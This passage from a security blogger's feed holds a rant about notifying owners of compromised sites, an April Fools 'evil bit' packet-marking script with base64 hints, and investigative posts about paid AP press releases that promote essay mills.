<p>I know you&rsquo;ve seen my messages and yet you choose to <em>ignore</em> me.</p>
<p><em>Why do I care more about all of this than you do?</em></p>
<hr>
<p>It&rsquo;s a question I&rsquo;ve asked myself over and over. I&rsquo;ve been doing this thankless task for something like 20 years now&hellip; since back in 2001 when I first started running the prototype of what would, eventually, become LaBrea. I&rsquo;ve been contacting people to tell them that they&rsquo;ve been 0wned.</p>
<p>&ldquo;<em>You have a compromised system.</em>&rdquo;</p>
<p>&ldquo;<em>Someone has hacked your website.</em>&rdquo;</p>
<p>I&rsquo;ve said those words many, many times.</p>
<p>From LaBrea, to honeypots, to Google searches, to neat little toyz I&rsquo;ve purpose-built to monitor attacks - I&rsquo;ve used a bunch of different tools over the years, and I&rsquo;ve found <em>lots</em> of compromised <em>stuff</em>. I&rsquo;ve made phone calls, sent emails, Facebook messages, and tweets.</p>
<p>I&rsquo;ve been <em>ignored</em> more times than I can count.</p>
<p>Every time I&rsquo;m ignored, I hear this voice in the back of my mind whispering: &ldquo;<em>Why do I care more about all of this than you do?</em>&rdquo;</p>
<hr>
<p>It bothers me.</p>
<p>Seeing someone use their intelligence to take advantage of other people truly bothers me.</p>
<p>It bothers me to the point that seeing it makes me <em>need</em> to reverse it. To fix it.</p>
<p>But why?</p>
<hr>
<p>I&rsquo;m a strong believer that philosophical anger and moral outrage are often a reflection of the weaknesses we fear the most in ourselves.</p>
<p>While this isn&rsquo;t a hard and fast rule, it tends to be pretty accurate. Moral indignation tends to stem more from furtive fascination than from true disgust. As H.G. Wells famously said, &ldquo;<em>Moral indignation is jealousy with a halo.</em>&rdquo;</p>
<p>Show me someone who is righteously indignant about any <em>thing</em> - drugs, pornography, gambling, websites being hacked - and I&rsquo;ll show you someone who, deep down inside, is afraid that they could, under the proper circumstances, have a problem with that <em>thing</em>.</p>
<p>In the security industry, it&rsquo;s something of an open secret - we talk about it all the time: <em>The Line</em>.</p>
<p>&ldquo;<em>What would it take to make you cross&hellip; The Line?</em>&rdquo;</p>
<p>In most industries the seduction of the <em>dark side</em> isn&rsquo;t nearly so omnipresent. In security, it tends to be <em>in your face</em> on a day-to-day basis. We all see the hacks, and unless you&rsquo;re&hellip; well&hellip; dead, you&rsquo;ve probably thought - on more than one occasion, &ldquo;<em>Damn&hellip; I could&rsquo;ve pulled that off&hellip;</em>&rdquo;</p>
<p>I have. (<em>And, me being me, I&rsquo;ve also thought&hellip; &ldquo;Damn, I would&rsquo;ve done a much better job&hellip;&rdquo;</em>)</p>
<p>We talk about <em>The Line</em>, because <em>The Line</em> fascinates us - and that fascination terrifies us.</p>
<p>We talk about <em>The Line</em>, because <em>The Line</em> drives us to feel it: <em>jealousy with a halo.</em></p>
<p>We talk about <em>The Line</em>, to keep ourselves firmly planted on <em>this</em> side of it.</p>
<p>And, some of us need to throw on an imaginary mask and cape and run around trying to save the world one website at a time - just to keep ourselves far away from <em>The Line</em>.</p>
<p><em>And we just wish you would answer our frickin&rsquo; emails&hellip;</em></p>
<p>-TL<br>
Tom Liston<br>
Owner, Principal Consultant<br>
Bad Wolf Security, LLC<br>
Mastodon: @tliston@infosec.exchange<br>
Twitter (yes, I know&hellip; <em>X</em>): @tliston<br>
April 5, 2021</p>]]></content>
            
                 
                    
                 
                    
                         
                        
                            
                             
                                <category scheme="https://yourflyis0pen.com/categories/attacks" term="attacks" label="attacks" />
                            
                        
                    
                 
                    
                 
                    
                         
                        
                            
                             
                                <category scheme="https://yourflyis0pen.com/tags/notification" term="notification" label="notification" />
                             
                                <category scheme="https://yourflyis0pen.com/tags/rant" term="rant" label="rant" />
                            
                        
                    
                
            
        </entry>
    
        
        <entry>
            <title type="html"><![CDATA[Starting April]]></title>
            <link href="https://yourflyis0pen.com/article/starting_april/?utm_source=atom_feed" rel="alternate" type="text/html" />
            
                <link href="https://yourflyis0pen.com/article/priorities/?utm_source=atom_feed" rel="related" type="text/html" title="Priorities" />
                <link href="https://yourflyis0pen.com/article/skodovia/?utm_source=atom_feed" rel="related" type="text/html" title="Grab a wooden stake, we&#39;re headed to Skodovia to kill MD5..." />
                <link href="https://yourflyis0pen.com/article/shell-collecting/?utm_source=atom_feed" rel="related" type="text/html" title="Shell Collecting" />
                <link href="https://yourflyis0pen.com/article/knock/?utm_source=atom_feed" rel="related" type="text/html" title="Knock, Knock... Who&#39;s There?" />
                <link href="https://yourflyis0pen.com/article/doh/?utm_source=atom_feed" rel="related" type="text/html" title="Doh!" />
            
                <id>https://yourflyis0pen.com/article/starting_april/</id>
            
            
            <published>2021-04-01T12:05:34-05:00</published>
            <updated>2021-04-01T12:05:34-05:00</updated>
            
            
            <content type="html"><![CDATA[<p>I&rsquo;m just going to leave this here&hellip;</p>
<p>It&rsquo;s a little something that I put together for today. Seems appropriate&hellip;</p>
<p>Please let me know what you think it does.</p>
<div class="highlight"><pre tabindex="0" style="color:#ccc;background-color:#000;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-python" data-lang="python"><span style="display:flex;"><span><span style="color:#000080">#!/usr/bin/env python3</span>
</span></span><span style="display:flex;"><span><span style="color:#000080"># this python script MUST be run as root</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#000080"># also, once this is running, it is necessary to run the</span>
</span></span><span style="display:flex;"><span><span style="color:#000080"># following iptables command designating the appropriate device:</span>
</span></span><span style="display:flex;"><span><span style="color:#000080"># iptables -A OUTPUT -o &lt;device&gt; -j NFQUEUE --queue-num 3514</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#cd00cd">from</span> scapy.all <span style="color:#cd00cd">import</span> <span style="color:#39c">*</span>
</span></span><span style="display:flex;"><span><span style="color:#cd00cd">from</span> netfilterqueue <span style="color:#cd00cd">import</span> NetfilterQueue
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#cdcd00">def</span> doIt(packet):
</span></span><span style="display:flex;"><span>	scapypkt <span style="color:#39c">=</span> IP(packet<span style="color:#39c">.</span>get_payload())
</span></span><span style="display:flex;"><span>	scapypkt[IP]<span style="color:#39c">.</span>flags <span style="color:#39c">|=</span> <span style="color:#cd00cd">4</span>
</span></span><span style="display:flex;"><span>	<span style="color:#cdcd00">del</span> scapypkt[IP]<span style="color:#39c">.</span>chksum
</span></span><span style="display:flex;"><span>	packet<span style="color:#39c">.</span>set_payload(<span style="color:#cd00cd">bytes</span>(scapypkt))
</span></span><span style="display:flex;"><span>	packet<span style="color:#39c">.</span>accept()
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#000080"># bind the callback function to the queue</span>
</span></span><span style="display:flex;"><span>nfqueue <span style="color:#39c">=</span> NetfilterQueue()
</span></span><span style="display:flex;"><span>nfqueue<span style="color:#39c">.</span>bind(<span style="color:#cd00cd">3514</span>, doIt)
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#cdcd00">try</span>:
</span></span><span style="display:flex;"><span>	nfqueue<span style="color:#39c">.</span>run()
</span></span><span style="display:flex;"><span><span style="color:#cdcd00">except</span> <span style="color:#669;font-weight:bold">KeyboardInterrupt</span>:
</span></span><span style="display:flex;"><span>	<span style="color:#cdcd00">pass</span>
</span></span></code></pre></div><p>XOXOXO</p>
<p>-TL<br>
Tom Liston<br>
Owner, Principal Consultant<br>
Bad Wolf Security, LLC<br>
Mastodon: @tliston@infosec.exchange<br>
Twitter (yes, I know&hellip; <em>X</em>): @tliston<br>
April 1, 2021</p>
<p><em>P.S.: It&rsquo;s probably <strong>NOT</strong> the best idea to actually do this for all of your network traffic. I tested it by adding -p ICMP to the <code>iptables</code> command, and it actually works and does a fine job&hellip; That being said, I take <strong>NO</strong> responsibility.</em></p>
<p><em>P.P.S.: I finally gave into temptation and I&rsquo;ve been running it on all traffic for quite a while now. I even pushed this update to the site just now with it running. It&rsquo;s working like a charm - color me impressed.</em></p>
<p>Hint #1:</p>
<div class="highlight"><pre tabindex="0" style="color:#ccc;background-color:#000;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span><span style="color:#cd00cd">echo</span> <span style="color:#cd0000">&#39;VGhlIG51bWJlciAzNTE0IGlzIGludm9sdmVkIGluIGFsbCBvZiB0aGlzIHNvbWVob3cuCg==&#39;</span> | base64 -d
</span></span></code></pre></div><p>Hint #2:</p>
<div class="highlight"><pre tabindex="0" style="color:#ccc;background-color:#000;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span><span style="color:#cd00cd">echo</span> <span style="color:#cd0000">&#39;VGhpcyBoYXMgc29tZXRoaW5nIHRvIGRvIHdpdGggYSBnZW50bGVtYW4gbmFtZWQgU3RldmUgQmVsbG92aW4uCg==&#39;</span> | base64 -d
</span></span></code></pre></div>]]></content>
            
                 
                    
                 
                    
                         
                        
                            
                             
                                <category scheme="https://yourflyis0pen.com/categories/tricks" term="tricks" label="tricks" />
                            
                        
                    
                 
                    
                 
                    
                         
                        
                            
                             
                                <category scheme="https://yourflyis0pen.com/tags/toyz" term="toyz" label="toyz" />
                             
                                <category scheme="https://yourflyis0pen.com/tags/tricks" term="tricks" label="tricks" />
                            
                        
                    
                
            
        </entry>
    
        
        <entry>
            <title type="html"><![CDATA[Lies, lies, lies...]]></title>
            <link href="https://yourflyis0pen.com/article/lies-lies-lies/?utm_source=atom_feed" rel="alternate" type="text/html" />
            
                <link href="https://yourflyis0pen.com/article/ap/?utm_source=atom_feed" rel="related" type="text/html" title="Hypocrisy: A Dramatic Play In Two Acts" />
                <link href="https://yourflyis0pen.com/article/priorities/?utm_source=atom_feed" rel="related" type="text/html" title="Priorities" />
                <link href="https://yourflyis0pen.com/article/rabbits/?utm_source=atom_feed" rel="related" type="text/html" title="Cool little round pebbles" />
                <link href="https://yourflyis0pen.com/article/putting-the-ed-in-edu/?utm_source=atom_feed" rel="related" type="text/html" title="Putting the ED in EDU..." />
                <link href="https://yourflyis0pen.com/article/you-done-brang-it-on-yourself/?utm_source=atom_feed" rel="related" type="text/html" title="You Done Brang It on Yourself" />
            
                <id>https://yourflyis0pen.com/article/lies-lies-lies/</id>
            
            
            <published>2021-03-31T10:08:02-05:00</published>
            <updated>2021-03-31T10:08:02-05:00</updated>
            
            
            <content type="html"><![CDATA[<p>Apparently, I&rsquo;m the only one who is outraged.</p>
<p>In my <a href="/article/ap/">last blog post</a>, I outlined a relationship that exists between an organization called KISSPR and the Associated Press. It&rsquo;s a cozy little venture in which KISSPR pays the Associated Press an undisclosed amount of money to have <em>press releases</em> placed on the AP website. Many of these <em>press releases</em> are thinly veiled advertisements for questionable products from questionable businesses masquerading as news. And the fine, upstanding products getting flogged through this <em>relationship</em>? Pre-written term papers, herpes treatments, hair-growth supplements, and psychic readings - just to name just a few.</p>
<p>How <em>cozy</em> is the relationship? KISSPR has <a href="https://apnews.com/hub/press-releases/kisspr">their own directory</a> within the AP&rsquo;s <em>Press Releases</em> section on their site.</p>
<p>&ldquo;<em>Okay, fine&hellip;,</em>&rdquo; I hear you say, &ldquo;<em>If the AP wants to sell its soul and integrity, that&rsquo;s their problem.</em>&rdquo;</p>
<p>Ah&hellip; but it isn&rsquo;t just the Associated Press.</p>
<p>I decided to see just how much <em>reach</em> one of these stories had.</p>
<p>I randomly selected one of the recent &ldquo;research paper writing service&rdquo; <em>press releases</em> from the AP site. It had the title, &ldquo;<em>4 Best Research Paper Writing Services - Top USA Paper Writers Among 69 Tested - Review by Halvorson.</em>&rdquo;</p>
<p>From the body of the article, I chose a specific, likely-unique sentence (&ldquo;The up-scale quality of writing services;&rdquo;) and tossed it into Google - locking down my search to return only those results with &ldquo;research paper&rdquo; in the title. I also removed Google&rsquo;s default filtering of duplicate results:</p>
<p>Click <a href="https://www.google.com/search?q=%22The+up-scale+quality+of+writing+services%3B%22+intitle:%22research+paper%22&amp;filter=0">here</a> to see the results.</p>
<p>Here&rsquo;s a list of sites that picked up this content:</p>
<pre tabindex="0"><code class="language-blockquote" data-lang="blockquote">apnews.com (obviously...)
yahoo.com
globenewswire.com
ktvn.com
wboc.com
wrcbtv.com
kake.com
menafn.com
digitaljournal.com
unitedkindgomnews.net
denvernews.net
siliconvalleynews.net
oklahomacitynews.net
caymanmama.com
</code></pre><p>And, pray tell, what was the amazing content of this article - content that was picked up by so many news organizations?</p>
<p>It lists 4 recommended sites, giving <em>coupon codes</em> for two of them (oddly, the <em>SAME</em> coupon code works on both of them despite the fact that they are, no doubt, <em>totally</em> independent sites&hellip;). Nowhere in this fascinating piece of investigative journalism do they list the 69 sites they compared and (with the exception of the headline) they don&rsquo;t even <em>mention</em> comparing 69 sites.</p>
<p>Please go back and <a href="/article/ap/index.html#:~:text=You%20can%20bet%20that%20once,reported%20on%20the%20Associated%20Press%20website.%E2%80%9D">look at my previous post</a> because I&rsquo;m about to say, &ldquo;<em>I told you so&hellip;</em>&rdquo; and I really, REALLY want you to SEE what I told you&hellip;</p>
<p>The <strong>second sentence</strong> of the review for the top research paper writing service says this: &ldquo;<em>You could see such trustworthy resources as Associated Press talk about this company as a reliable website to get a high-quality paper.</em>&rdquo;</p>
<p>And there you have it. The first death-rattle of the reputation of the Associated Press.</p>
<p><em>The Associated Press, with 170 years of commitment to the highest standards of objective, accurate journalism, being used to legitimize a skeevy purveyor of plagiarism.</em></p>
<p>(Note: &ldquo;<em>You could see such trustworthy resources as Associated Press talk about this company as a reliable website to get a high-quality paper.</em>&rdquo; Holy crap, that&rsquo;s <em>TERRIBLE</em> writing. Seriously, it&rsquo;s bad. I wonder where KISSPR could find someone to help them with <em>their</em> writing?)</p>
<p>Interestingly, the words &ldquo;Associated Press&rdquo; in that quote linked to <em>another</em> paid <em>press release</em> on the Associated Press website. This one is attributed as &ldquo;<em>Paid content from Prodigy News</em>&rdquo; and actually lands <em>outside</em> of the <em>Press Releases</em> section of the site. You know&hellip; out in the section <em>supposedly</em> used for&hellip; well&hellip; news.</p>
<p>Who is Prodigy News? I really couldn&rsquo;t find much information on them (honestly, I wasn&rsquo;t motivated to look very hard&hellip;) but in the <em>strangest</em> of coincidences, they use essentially the same wording for the &ldquo;Content Disclaimer&rdquo; at the end of their <em>press releases</em> as KISSPR (<em>including</em> the grammatically incorrect &ldquo;<em>website&rsquo;s</em>&rdquo;):</p>
<pre tabindex="0"><code class="language-blockquote" data-lang="blockquote">Content Disclaimer: The information does not constitute advice or an offer
to buy. Any purchase made from the above press release is made at your own 
risk. Consult an expert advisor/health professional before any such purchase. 
Any purchase made from this link is subject to the final terms and conditions 
of the website’s selling as mentioned in the above as source. The content 
publisher and its downstream distribution partners do not take any 
responsibility directly or indirectly. If you have any complaints or 
copyright issues related to this article, kindly contact the company this 
news is about. 
</code></pre><p>Finally, who the heck is this &ldquo;Halvorson&rdquo; who is doing all of this fantastic in-depth research on paper writing services for the KISSPR piece? Who took on the mind-numbing task of reviewing 69 research paper writing services, yet failed to find <strong>one more</strong> to make it a round 70? Who is the word-smith who fashioned the sentence, &ldquo;<em>You could see such trustworthy resources as Associated Press talk about this company as a reliable website to get a high-quality paper.</em>&rdquo;</p>
<p>This is a true renaissance person - an author for the ages&hellip;</p>
<p><em>Halvorson: Women want to be with him, men want to be him.</em></p>
<p>But I digress&hellip;</p>
<p>Scrolling down to the bottom of the article, we find the following:</p>
<pre tabindex="0"><code class="language-blockquote" data-lang="blockquote">Company: Halvorson LLC
Address: 3694 Westwood Avenue, NY, 11563
Phone: +12025550177
</code></pre><p>I did a little digging. There is no <em>Halvorson, LLC</em> listed in New York state&rsquo;s business registry. There is no <em>3694 Westwood Avenue</em> in the 11563 zip code, or anywhere else in the state of New York (or in the entire U.S. as far as I can tell&hellip;) and best of all, <em>+12025550177</em> is a totally bogus number (202 is the area code for Washington, DC, but the 555 prefix is the central office code in the North American Numbering Plan and is often used for <a href="https://tvtropes.org/pmwiki/pmwiki.php/Main/FiveFiveFive">fictitious phone numbers</a>.)</p>
<p>Oh&hellip; and the phone number used by the source for that other, Prodigy News, press release? <em>+12025550177</em></p>
<p>-TL<br>
Tom Liston<br>
Owner, Principal Consultant<br>
Bad Wolf Security, LLC<br>
Mastodon: @tliston@infosec.exchange<br>
Twitter (yes, I know&hellip; <em>X</em>): @tliston<br>
March 31, 2021</p>
<p><em>NOTE: I purposefully did NOT directly link to any of these press releases. Not just because I&rsquo;m philosophically against giving further credence to the term paper peddlers. If I&rsquo;m gonna to link to them, I&rsquo;m gettin&rsquo; paid&hellip; :-)</em></p>]]></content>
            
                 
                    
                 
                    
                         
                        
                            
                             
                                <category scheme="https://yourflyis0pen.com/categories/hypocrites" term="hypocrites" label="hypocrites" />
                            
                        
                    
                 
                    
                         
                        
                            
                             
                                <category scheme="https://yourflyis0pen.com/series/the-term-paper-blues" term="the-term-paper-blues" label="The Term Paper Blues" />
                             
                                <category scheme="https://yourflyis0pen.com/series/the-enablers" term="the-enablers" label="The Enablers" />
                            
                        
                    
                 
                    
                         
                        
                            
                             
                                <category scheme="https://yourflyis0pen.com/tags/fake-news" term="fake-news" label="fake news" />
                             
                                <category scheme="https://yourflyis0pen.com/tags/rant" term="rant" label="rant" />
                            
                        
                    
                
            
        </entry>
    
        
        <entry>
            <title type="html"><![CDATA[Hypocrisy: A Dramatic Play In Two Acts]]></title>
            <link href="https://yourflyis0pen.com/article/ap/?utm_source=atom_feed" rel="alternate" type="text/html" />
            
                <link href="https://yourflyis0pen.com/article/priorities/?utm_source=atom_feed" rel="related" type="text/html" title="Priorities" />
                <link href="https://yourflyis0pen.com/article/rabbits/?utm_source=atom_feed" rel="related" type="text/html" title="Cool little round pebbles" />
                <link href="https://yourflyis0pen.com/article/putting-the-ed-in-edu/?utm_source=atom_feed" rel="related" type="text/html" title="Putting the ED in EDU..." />
                <link href="https://yourflyis0pen.com/article/you-done-brang-it-on-yourself/?utm_source=atom_feed" rel="related" type="text/html" title="You Done Brang It on Yourself" />
                <link href="https://yourflyis0pen.com/article/fugget-about-it/?utm_source=atom_feed" rel="related" type="text/html" title="Fugget About It" />
            
                <id>https://yourflyis0pen.com/article/ap/</id>
            
            
            <published>2021-03-28T08:12:08-05:00</published>
            <updated>2021-03-28T08:12:08-05:00</updated>
            
            
            <content type="html"><![CDATA[<p>[<em>So as to not bury the lede, what follows is a story highlighting the remarkable hypocrisy being displayed by a world-spanning, highly-respected institution of journalism, the Associated Press.</em>]</p>
<h3 id="act-i---a-pistol-hangs-on-the-wall">Act I - A pistol hangs on the wall&hellip;</h3>
<p>There is a quote, attributed to the great playwright Anton Chekhov: &ldquo;<em>If, in the first act, you have hung a pistol on the wall, then in the following one it should be fired. Otherwise don&rsquo;t put it there.</em>&rdquo;</p>
<p>The following quote is my pistol, and by the end of this post, it&rsquo;s going to get fired.</p>
<pre tabindex="0"><code class="language-blockquote" data-lang="blockquote">&#34;Hypocrites get offended by the truth&#34; - Jess C. Scott
</code></pre><p>It all began nearly five years ago. I was doing some early-morning Google searches, looking for compromised sites. That&rsquo;s when I first discovered them: <em>The Term Paper SEO Hackers</em>. I&rsquo;m sure that they had been around for a while, but I just hadn&rsquo;t noticed them. I had been concentrating more on the folks who whacked sites to boost the search engine standing of their boner pill outlets. That day, what caught my eye was the utter brazenness of <em>The Term Paper SEO Hacker&rsquo;s</em> actions - <a href="/article/do-more-research/">these clowns had hacked the U.S. Capitol&rsquo;s website</a>.</p>
<p>Thus began an interesting little tête-à-tête between the fine, upstanding purveyors of pre-written term/research papers (<em>sold to so-called students with more money than morals</em>) and me.</p>
<p>Somehow, these irreproachable entrepreneurs (<em>whose business model is based on feeding college plagiarist&rsquo;s desire to cheat their way to better grades</em>) ended up getting SEO links to their web storefronts placed on compromised sites all over the Internet.</p>
<p><em>No one knows how it happens (or so they claim&hellip;), it just does.</em></p>
<p>The term paper vendor in that first encounter was an outfit called SpeedyPaper - but they aren&rsquo;t the only game in town. Far from it. The market for pre-written term/research papers appears to be very competitive. A rather large assortment of vendors seems to be fighting tooth-and-claw, each seeking to gain some advantage over their peers, sometimes using very unscrupulous tactics.</p>
<p>Somehow - <em>magically</em> - websites are hacked.</p>
<p>Hundreds of links pointing back to their storefronts simply <em>appear</em> so that search engines become <em>optimized</em>.</p>
<p>It&rsquo;s all dark and mysterious.</p>
<p>The prevailing wisdom (as espoused by SpeedyPaper) was that this process involves Eeeeevil Competitors<sup>&trade;</sup> attempting to make them look bad.</p><p>(<i>Note 1: Eeeeevil Competitors<sup>&trade;</sup> are like that.</i> Always going around, hacking sites to boost <i>your</i> search engine placement and thus make you look bad. Damn those Eeeeevil Competitors<sup>&trade;</sup>!)</p> 
<p>(Note 2: I&rsquo;ve been known to entertain the notion that web hackin&rsquo; <em>freelancers</em> were <em>somehow</em> convinced that they might be paid to hack sites and deliver click-throughs as part of some <a href="/article/miracle/">twisted <em>affiliate program</em>, complete with referrer tokens</a>. But hey&hellip; what do <em>I</em> know&hellip;? Those odd web request parameters being sent to SpeedyPaper&rsquo;s site were probably <em>totally innocent</em>.)</p>
<p>My role in this ongoing spectacle has been to notify the folks playing the part of the <em>Poor Unsuspecting Victim<sup>™</sup></em> and try to get their sites cleaned up.</p>
<p>It was a role that I was happy to play.</p>
<p><em>Until yesterday.</em></p>
<h3 id="act-ii---the-pistol-fires">Act II - The pistol fires&hellip;</h3>
<p>Yesterday, while trolling for hacked sites, I happened to throw a few term/research paper-related words into the mix for old-time&rsquo;s sake. I scrolled through a few pages of results and then my eye lighted on something that, literally, made me gasp. There was a result from <a href="https://apnews.com">apnews.com</a>, the Associated Press.</p>
<p><em>&ldquo;Oh hell no&hellip;,</em>&rdquo; I thought, &ldquo;<em>They didn&rsquo;t hack the Associated Press&hellip;&rdquo;</em></p>
<p>No.</p>
<p>No, they didn&rsquo;t.</p>
<p>The truth was worse.</p>
<p><em>Much worse.</em></p>
<p>It turns out that the Associated Press has a portion of it&rsquo;s website where, <em>for a fee</em>, organizations can have <em>press releases</em> posted. And there, in the middle of the <em>press releases</em> section, suffused with an aura of respectability provided by the Associated Press was an article titled, &ldquo;<em>6 Best Essay Writing Services Available Online - AP News</em>&rdquo;</p>
<p><img src="ap_listing.png" alt="Google results"></p>
<p>Now, it&rsquo;s important to note that there is a disclaimer placed on these press releases: &ldquo;<em>Press release content from $ORGANIZATION. The AP news staff was not involved in its creation.</em>&rdquo; It&rsquo;s important to note that because, obviously, having a disclaimer makes it all better.</p>
<p><em>Or not&hellip;</em></p>
<p><em>Actually, it gets even worse.</em></p>
<p>First though, let&rsquo;s summarize: There are organizations who exist to provide pre-written term/research papers and essays. A review of the websites of these companies finds that they&rsquo;re all pretty similar - they tend to be chock full of verbiage designed to reinforce the idea that needing to purchase a pre-written paper is all someone else&rsquo;s fault. <em>You have too many assignments, you poor overworked college student. No one could keep up.</em> It isn&rsquo;t <em>plagiarism</em>, it&rsquo;s <em>time-management</em>. They all tend to have breathless testimonials, glowingly describing their wonderful customer service. They even have incentives for <em>planning</em> your plagiarism - they steeply jack up their prices should you need your paper at the last minute. The message: <em>being organized about your cheating saves you money.</em></p>
<p>They all have one other thing in common: every site claims that their papers will not be caught by the plagiarism detection software/services used by universities.</p>
<p>So, inherently, they&rsquo;re all saying this: <em>Yes, you&rsquo;re cheating. But we&rsquo;ll make sure you don&rsquo;t get caught.</em></p>
<p>Let&rsquo;s make no mistake about this: it absolutely <em>is</em> cheating. Every university has some <a href="https://deanofstudents.arizona.edu/policies/code-academic-integrity">kind</a> of <a href="https://writingcenter.unc.edu/esl/resources/academic-integrity/">code</a> of <a href="https://integrity.mit.edu/">conduct</a> or <a href="https://www.niu.edu/academic-integrity/students/index.shtml">ethics</a> that <a href="https://sa.berkeley.edu/student-code-of-conduct#102.01_Academic_Misconduct">specifically</a> states: <a href="https://www1.villanova.edu/villanova/provost/resources/student/policies/integrity.html">engaging</a> in <a href="https://drexel.edu/studentlife/community_standards/code-of-conduct/academic-integrity-policy/">plagiarism</a> is <a href="https://www.gonzaga.edu/academics/academic-calendar-resources/center-for-student-academic-success/academic-integrity">cheating</a>.</p>
<p>To me, organizations that make their money aiding and abetting academic dishonesty by encouraging plagiarism are a pretty skeevy lot.</p>
<p>But those organizations (and a bunch of other semi-shady outfits) have found a way to rehabilitate their images: paying a few bucks to get links and mentions on the website of the Associated Press. Hmmm&hellip; this proposition seems so oddly&hellip; <em>familiar</em>. You pay some money to get something you don&rsquo;t deserve. <em>Now where would I have heard of something like that before?</em></p>
<p><em>Remember when I said it was worse?</em></p>
<p>Please, if you would, follow <a href="https://www.google.com/search?q=site:apnews.com+essay+writing+service">this link</a> to a Google search showing an amazing list of <em>press releases</em> on the AP site. (Note: I&rsquo;m not going to directly link to any of them. I don&rsquo;t want to give them any more undeserved traction than they&rsquo;ve already purchased&hellip;)</p>
<p>These are <em>press releases</em> providing &ldquo;reviews&rdquo; and &ldquo;lists of top facts&rdquo; about essay writing websites. These amount to recommendations for the best way to commit academic misconduct - and there are literally <strong>hundreds</strong> of these <em>press releases</em> being legitimized by the Associated Press.</p>
<p><em>The. Associated. Press.</em></p>
<p>The Associated Press, winner of 54 Pulitzer Prizes.</p>
<p>The Associated Press, whose website states, &ldquo;<em>For 170 years, we have been breaking news and covering the world’s biggest stories, always committed to the highest standards of objective, accurate journalism.</em>&rdquo;</p>
<p>The Associated Press, in whose own <a href="https://www.ap.org/about/news-values-and-principles/downloads/ap-news-values-and-principles.pdf">&ldquo;Statement of News Values and Principles&rdquo;</a> - <em>right on the first damned page</em> - says &ldquo;We don&rsquo;t plagiarize, and we respect copyright.&rdquo;</p>
<p>The Associated Press, <em>has become a shill for skeevy purveyors of plagiarism</em>.</p>
<p>And it doesn&rsquo;t just end with term papers. Apparently, the AP is partnering with a questionable public relations firm called KISSPR. The AP&rsquo;s <em>press releases</em> section on their website has an <a href="https://apnews.com/hub/press-releases/kisspr">entire directory</a> specifically dedicated to press release content from KISSPR. It&rsquo;s all so very, very <em>cozy</em>.</p>
<p>Those term paper &ldquo;reviews&rdquo; are a product of that KISSPR relationship. As are &ldquo;reviews&rdquo; of a <a href="https://www.google.com/search?q=site%3Aapnews.com+herpesyl">herpes treatment</a>, <a href="https://www.google.com/search?q=site%3Aapnews.com+hair+growth+supplement">hair growth supplements</a>, and other equally questionable products.</p>
<p>Many of these <em>press releases</em> are thinly veiled advertisements for questionable products from questionable businesses masquerading as news. All of this is being legitimized on the back of the reputation of the Associated Press. You can bet that once these <em>press releases</em> hit the AP site, they&rsquo;re being referenced and re-referenced with some sort of phrasing like &ldquo;As reviewed on the Associated Press website,&rdquo; or &ldquo;As reported on the Associated Press website.&rdquo;</p>
<p>Personally, I&rsquo;m disgusted.</p>
<p>I&rsquo;m disgusted by the term paper sellers.</p>
<p>I&rsquo;m disgusted by the business model of a company like KISSPR - <em>To me, they&rsquo;re just professional appliers of porcine lipstick</em>.</p>
<p>I&rsquo;m disgusted - most of all - by the Associated Press.</p>
<p>But, in the end, I can only be disgusted. No laws are being broken here. The Associated Press is choosing to sell its soul for the filthy <em>lucre</em> being tossed their way by KISSPR. KISSPR is charging their clients even more to <em>facilitate</em> the placement of these <em>press releases.</em> Everybody wins&hellip; except journalistic ethics and integrity.</p>
<p>Remember when the ethics and integrity of the people we trusted to report the news actually meant something? Remember when truth used to matter? Now, all of that <em>ethical crap</em> is tossed aside - a relic of a bygone era - because padding the bottom line is much more important than journalistic integrity.</p>
<p>What does a news organization become when it abandons ethics and integrity? What happens when reporting accurately and honestly takes a back seat to an income stream generated by publishing <em>anything</em> some PR flack decides to throw in front of you?</p>
<p><em>What happened to the truth?</em></p>
<p>Finally, if you want to do a little looking, you might find that some of these &ldquo;reviews&rdquo; have made their way out from under the <em>press releases</em> portion of the AP site and are listed as news <em>articles</em>. They&rsquo;re still tagged with the &ldquo;Paid Content&rdquo; disclaimer, which - to me - somehow makes the whole thing even sadder. I happened to find one <em>article</em> that recommended my favorite recipient of website hacking miracles, SpeedyPaper, and I threw up in my mouth just a little bit. I&rsquo;ll leave it as an exercise for the reader to find more egregious examples, because the whole sordid mess has me feeling just a little bit tired and dejected.</p>
<p>In the end, I have just two things to say to the Associated Press:</p>
<ul>
<li>
<p><em>Trust</em> is the most valuable, hard-earned commodity any of us can possess. I hope that you were paid handsomely for yours&hellip;</p>
</li>
<li>
<p>Are you feeling offended?</p>
</li>
</ul>
<p>Bang!</p>
<p>-TL<br>
Tom Liston<br>
Owner, Principal Consultant<br>
Bad Wolf Security, LLC<br>
Mastodon: @tliston@infosec.exchange<br>
Twitter (yes, I know&hellip; <em>X</em>): @tliston<br>
March 28, 2021</p>
]]></content>
            
                 
                    
                 
                    
                         
                        
                            
                             
                                <category scheme="https://yourflyis0pen.com/categories/hypocrites" term="hypocrites" label="hypocrites" />
                            
                        
                    
                 
                    
                         
                        
                            
                             
                                <category scheme="https://yourflyis0pen.com/series/the-term-paper-blues" term="the-term-paper-blues" label="The Term Paper Blues" />
                             
                                <category scheme="https://yourflyis0pen.com/series/the-enablers" term="the-enablers" label="The Enablers" />
                            
                        
                    
                 
                    
                         
                        
                            
                             
                                <category scheme="https://yourflyis0pen.com/tags/fake-news" term="fake-news" label="fake news" />
                             
                                <category scheme="https://yourflyis0pen.com/tags/rant" term="rant" label="rant" />
                            
                        
                    
                
            
        </entry>
    
        
        <entry>
            <title type="html"><![CDATA[SaaSsy Scanning]]></title>
            <link href="https://yourflyis0pen.com/article/saasy_scanning/?utm_source=atom_feed" rel="alternate" type="text/html" />
            
                <link href="https://yourflyis0pen.com/article/priorities/?utm_source=atom_feed" rel="related" type="text/html" title="Priorities" />
